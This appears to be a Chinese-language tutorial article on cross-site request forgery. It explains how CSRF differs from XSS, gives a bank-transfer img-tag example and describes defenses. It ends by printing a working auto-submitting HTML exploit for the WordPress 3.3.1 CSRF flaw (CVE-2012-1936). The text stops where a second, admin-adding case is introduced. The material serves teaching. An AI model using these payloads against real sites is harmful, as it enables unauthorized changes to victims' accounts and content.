Cross Site Request Forgery
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行<、>这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将<转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。
以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:
1 |
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> |
银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方 式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的 Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfe… money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考深入解析跨站请求伪造漏洞:原理剖析(中所述,XSS与CSRF的区别在于:
- XSS攻击需要JavaScript,而CSRF攻击不需要。
- XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。
原因浅析
CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。假设Alice访问了一个恶意站点M,该站点提供的内容中的JavaScript代码或者图像标签会导致Alice的浏览器向站点T发送一个HTTP请 求。由于该请求是发给站点T的,所以Alice的浏览器自动地给该请求附上与站点T对应的该会话cookie的sid。站点T看到该请求时,它就能通过该 cookie的推断出:该请求来自Alice,所以站点T就会对Alice的帐户执行所请求的操作。这样,CSRF攻击就能得逞了。其他大多数Web认证机制也面临同样的问题。例如,HTTP BasicAuth机制会要求Alice告诉浏览器她在站点T上的用户名和口令,于是浏览器将用户名和口令附加到之后发给站点T的请求中。当然,站点T也 可能使用客户端SSL证书,但这也面临同样的问题,因为浏览器也会将证书附加到发给站点T的请求中。类似的,如果站点T通过IP地址来验证Alice的身 份的话,照样面临CSRF攻击的威胁。总之,只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该 站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。大部分标准和广泛应用的认证机 制都无法防止CSRF攻击,所以我们只好另外探求一个实用的解决方案。
Reference
- 从零开始学CSRF
- Preventing CSRF
- Security Corner: Cross-Site Request Forgeries
- 《深入解析跨站请求伪造漏洞:原理剖析》
- 《Web安全测试之跨站请求伪造(CSRF)》
- 《深入解析跨站请求伪造漏洞:实例讲解》
Exploits
本部分我们来看几个基于CSRF攻击的实例,包括简单的基于表单POST请求的攻击 ,其可以诱导用户点击.submit()
按钮既可以发起攻击。其他的还有稍微复杂一点的跨域文件上传CSRF攻击 ,其主要使用了 CORS use of the xhr.withCredentals behavior。
WordPress 3.3.1 Multiple CSRF Vulnerabilities
该漏洞是由Ivano Binetti在2012年3月19号发现的,影响了WordPress 3.3.1版本 ,CVE编号CVE-2012-1936。WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator’s email
- Change WordPress Address
- Change Site Address
那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的Exploit代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change post title</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"/> <input type="hidden" name="post_name" value="hackedtitle"/> <input type="hidden" name="mm" value="03"/> <input type="hidden" name="jj" value="16"/> <input type="hidden" name="aa" value="2012"/> <input type="hidden" name="hh" value=""/> <input type="hidden" name="mn" value=""/> <input type="hidden" name="ss" value=""/> <input type="hidden" name="post_author" value="1"/> <input type="hidden" name="post_password" value=""/> <input type="hidden" name="post_category%5B%5D" value="0"/> <input type="hidden" name="post_category%5B%5D" value="1"/> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/> <input type="hidden" name="comment_status" value="open"/> <input type="hidden" name="ping_status" value="open"/> <input type="hidden" name="_status" value="publish"/> <input type="hidden" name="post_format" value="0"/> <input type="hidden" name="_inline_edit" value="<sniffed_value>"/> <input type="hidden" name="post_view" value="list"/> <input type="hidden" name="screen" value="edit-post"/> <input type="hidden" name="action" value="inline-save"/> <input type="hidden" name="post_type" value="post"/> <input type="hidden" name="post_ID" value="1"/> <input type="hidden" name="edit_date" value="true"/> <input type="hidden" name="post_status" value="all"/> </form> </body> </html> |
另一个测试用例时添加某个具有管理员权限的用户,测试用例为: